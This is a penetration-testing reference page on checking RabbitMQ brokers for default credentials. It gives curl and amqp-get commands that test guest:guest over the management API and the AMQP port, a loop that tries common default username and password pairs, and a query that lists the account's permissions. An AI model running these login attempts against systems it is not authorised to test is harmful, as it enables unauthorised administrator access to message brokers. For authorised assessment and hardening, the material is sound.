# RabbitMQ Default Credentials

- **URL:** https://hackindex.io/services/amqp/vulnerability-discovery/rabbitmq-default-credentials
- **Path:** AMQP > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/amqp/vulnerability-discovery.md)
- **Published:** 2026-04-04
- **Updated:** 2026-04-04

RabbitMQ ships with a default `guest` account with password `guest` and administrator privileges. By default this account is restricted to localhost connections only, but this restriction is frequently removed in misconfigured deployments. When the management API is exposed, testing the guest account takes seconds and is the first thing to check before any other credential work. Confirm AMQP and management port accessibility through [AMQP fingerprinting](https://hackindex.io/services/amqp/enumeration/nmap-amqp-fingerprinting-amqp-info) and [management port discovery](https://hackindex.io/services/amqp/enumeration/rabbitmq-management-port-discovery) first.

- Test guest:guest via Management API
- Test Default Credentials Systematically
- Test guest Account at AMQP Protocol Level
- Determine Account Permissions

## Test guest:guest via Management API

The management API is the fastest way to test credentials: a valid login returns full broker overview JSON:

```bash
curl -sk -u 'guest:guest' http://$TARGET_IP:15672/api/whoami
# {"name":"guest","tags":"administrator"}
```

`administrator` tag confirms full management access. This account can read and publish to all queues, manage all vhosts, create and delete users, and access all configuration. Move directly to [management API exploitation](https://hackindex.io/services/amqp/exploitation/rabbitmq-management-api-exploitation).

## Test Default Credentials Systematically

```bash
for cred in guest:guest admin:admin admin:password rabbitmq:rabbitmq admin:rabbitmq guest:password; do
  code=$(curl -sk -o /dev/null -w '%{http_code}' -u "$cred" http://$TARGET_IP:15672/api/whoami)
  echo "$code $cred"
  [ "$code" = "200" ] && echo "VALID: $cred" && break
done
# 200 guest:guest
# VALID: guest:guest
```

## Test guest Account at AMQP Protocol Level

Even if the management API is blocked, the AMQP protocol port may accept the guest account from external hosts:

```bash
amqp-get --url='amqp://guest:guest@$TARGET_IP:5672/%2F' --queue='__probe__' 2>&1 | head -2
# Error: NOT_FOUND - no queue '__probe__' in vhost '/'
```

NOT_FOUND on the queue confirms the guest account is accessible from external hosts at the AMQP level. This means the `loopback_users` configuration has been cleared: guest is permitted from any source IP.

## Determine Account Permissions

Once a valid account is confirmed, check its exact permissions across all vhosts:

```bash
curl -sk -u "$USER:$PASSWORD" http://$TARGET_IP:15672/api/permissions | python3 -m json.tool
# [
#   {
#     "user": "guest",
#     "vhost": "/",
#     "configure": ".*",
#     "write": ".*",
#     "read": ".*"
#   }
# ]
```

`.*` on all three permission fields means full access: configure, write, and read on all queues and exchanges in this vhost. This is the default guest permission set and confirms completely unrestricted access.

## References

- [RabbitMQ: Access Control](https://www.rabbitmq.com/docs/access-control#loopback-users) - loopback_users configuration and guest account restriction documentation